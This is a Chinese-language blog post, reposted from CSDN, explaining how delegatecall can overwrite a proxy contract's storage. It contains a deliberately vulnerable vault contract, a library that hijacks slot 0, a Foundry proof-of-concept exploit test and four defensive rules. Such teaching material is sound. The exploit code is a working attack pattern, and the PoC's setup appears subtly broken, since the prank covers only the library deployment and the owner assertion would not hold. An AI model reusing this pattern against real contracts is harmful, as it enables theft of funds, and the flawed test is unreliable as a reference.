Solidity 跨合约调用上下文陷阱：delegatecall 与 call 的存储覆盖漏洞复盘

Solidity 跨合约调用上下文陷阱：delegatecall 与 call 的存储覆盖漏洞复盘

在以太坊虚拟机（EVM）的底层操作码中，CALL 与 DELEGATECALL 是实现跨合约交互与模块化可升级架构的两大核心支柱。

然而，这两者在**执行上下文（Execution Context）、存储状态（Storage Scope）与权限传递（msg.sender / msg.value）**上有着本质的物理差异：

• 使用 call 时：目标合约在其自己的存储空间中执行，msg.sender 是发起调用的合约地址；
• 使用 delegatecall 时：目标合约的代码被借调到当前合约的存储空间中执行，msg.sender 和 msg.value 保持原始调用者不变！

历史上许多著名的黑客事件（如初代 Parity 多签钱包冻结、FCompound 协议被洗劫）都是由于开发者误用 delegatecall，或者在代理合约与被调用逻辑合约之间未保持严格的存储槽位对齐，导致攻击者通过覆写 Slot 0 的 Owner 地址瞬间夺取了整个合约的最高控制权。

本文深度复盘 delegatecall 的底层上下文机理与防范策略。

---

一、CALL 与 DELEGATECALL 上下文转移全景拓扑

graph TD
    User[用户 EOA (0xRich...)] --> ContractA[合约 A (持有 100 ETH, 存储 Slot 0: owner)]
    
    subgraph 两种不同的跨合约调用行为
        ContractA -->|方式 1: A.call(B)| ContractB1[合约 B: 在 B 的存储中运行, msg.sender = 合约 A, 修改的是 B 的 Slot 0]
        ContractA -->|方式 2: A.delegatecall(B)| ContractB2[合约 B: 借用 B 的代码在【合约 A 的存储】中运行, msg.sender = 0xRich, 直接修改【合约 A 的 Slot 0】!]
    end

---

二、经典存储覆盖漏洞（Storage Hijacking）最小靶场还原

1. 存在致命上下文盲区的调用方合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract VulnerableProxyVault {
    address public owner;     // 存储在 Slot 0
    address public libraryContract; // 存储在 Slot 1

    constructor(address _lib) {
        owner = msg.sender;
        libraryContract = _lib;
    }

    // 致命设计：允许外部调用者传入任意 bytes data 并通过 delegatecall 执行！
    function execute(bytes calldata data) external {
        (bool success, ) = libraryContract.delegatecall(data);
        require(success, "Delegatecall execution failed");
    }
}

2. 存在槽位错位或恶意代码的逻辑库合约

contract MaliciousLibrary {
    // 逻辑库内部的 Slot 0 变量名为 someNumber
    uint256 public someNumber; 

    // 攻击者调用 setNumber(uint256(uint160(attackerAddress)))
    function setNumber(uint256 _num) public {
        someNumber = _num; // 致命点：在 delegatecall 上下文中，此处直接覆写了 VulnerableProxyVault 的 Slot 0 (即 owner 变量!)
    }
}

---

三、Foundry 漏洞复现单测（PoC Exploit）

// test/DelegatecallExploit.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "forge-std/Test.sol";
import "../src/VulnerableProxyVault.sol";
import "../src/MaliciousLibrary.sol";

contract DelegatecallExploitTest is Test {
    VulnerableProxyVault public vault;
    MaliciousLibrary public lib;

    address public honestAdmin = address(0xAD);
    address public attacker = address(0xBAD);

    function setUp() public {
        vm.prank(honestAdmin);
        lib = new MaliciousLibrary();
        vault = new VulnerableProxyVault(address(lib));
    }

    function test_Exploit_HijackOwnerViaDelegatecall() public {
        // 初始 Owner 必须是 honestAdmin
        assertEq(vault.owner(), honestAdmin);

        // 攻击者发起攻击：构造 setNumber(attacker) 的 Calldata
        vm.startPrank(attacker);
        bytes memory attackCalldata = abi.encodeWithSelector(
            MaliciousLibrary.setNumber.selector,
            uint256(uint160(attacker)) // 将攻击者地址转换为 uint256
        );

        // 触发 delegatecall
        vault.execute(attackCalldata);

        // 核心断言：由于 Slot 0 被直接覆写，Vault 的 Owner 瞬间被篡改为攻击者！
        assertEq(vault.owner(), attacker, "Owner should have been hijacked!");
        console.log("💥 [EXPLOIT SUCCESS] New Vault Owner is Attacker:", vault.owner());
        vm.stopPrank();
    }
}

---

四、delegatecall 生产级安全四大防御军规

1. 绝对禁止对不受信任的外部目标使用 delegatecall：delegatecall 的目标地址必须是不可篡改的常量（Immutable）或经过严格多签治理审计的白名单合约，绝对不能由用户入参动态指定；
2. 状态变量槽位严格对齐（Slot Alignment）：逻辑合约与代理合约必须共享完全一致的继承树与状态变量声明顺序，或者全面拥抱 ERC-7201 命名空间存储（Namespaced Storage）；
3. 无状态逻辑库（Stateless Libraries）：为 delegatecall 设计的通用工具库内部绝对不要声明任何状态变量，所有数据全部通过 memory 或内部参数显式传递；
4. 小心 selfdestruct 连环引爆：如果被 delegatecall 的逻辑实现合约内部包含了未受保护的 selfdestruct 操作码，攻击者可以直接在逻辑合约上触发自毁，导致所有依赖它的代理合约彻底瘫痪。

深刻理解 EVM 底层存储槽位与执行上下文的物理映射，是每一个智能合约架构师筑牢安全防线的基本功。

转载自 CSDN-专业IT技术社区

原文链接：https://blog.csdn.net/qq_40635035/article/details/165490386